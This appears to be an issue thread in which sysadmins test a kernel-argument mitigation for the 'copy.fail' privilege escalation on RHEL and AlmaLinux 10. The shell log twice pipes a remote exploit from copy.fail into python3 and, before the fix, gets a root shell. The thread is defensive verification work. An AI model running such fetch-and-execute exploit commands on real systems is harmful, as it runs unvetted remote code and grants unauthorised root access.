Mitigation on RHEL

[dclignez]

Hello,

Thanks a lot for the report. However, the RHEL distribution, the module is builtin and therefore can't be unloaded using regular rmmod command.
What we found as a mitigation was to block the module using: initcall_blacklist=algif_aead_init kernel argument.

The observed behavior was:

[random@myserverrhel10 ~]$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   9698      0 --:--:-- --:--:-- --:--:--  9878
[root@myserverrhel10 random]# echo "Affected"
Affected
[random@myserverrhel10 ~]$ sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
[random@myserverrhel10 ~]$ sudo systemctl reboot
 
Broadcast message from root@myserverrhel10.mydummy.domain on pts/1 (Thu 2026-04-30 13:46:36 CEST):
 
The system will reboot now!
 
Connection to myserverrhel10 closed.


[random@myserverrhel10 ~]$ grep algif_aead_init /proc/cmdline
... initcall_blacklist=algif_aead_init

[random@myserverrhel10 ~]$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   9076      0 --:--:-- --:--:-- --:--:--  9137
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory
[random@myserverrhel10 ~]$

Do you confirm that we did succesfully patched against copy.fail ?

BR

David

[aerogus]

I did the same test with the same results. (AlmaLinux10 x86_64)
I also hope it is the right way to mitigate.

[nobleclem]

Try the script in PR #66 or Issue #15 I think the repo version requires python 3.10+